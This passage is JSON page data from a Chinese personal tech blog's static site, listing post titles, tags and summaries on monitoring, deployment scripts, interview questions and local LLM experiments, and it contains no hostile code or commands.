wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"page":"2"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/search.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/search.json new file mode 100644 index 000000000..55545494f --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/search.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is 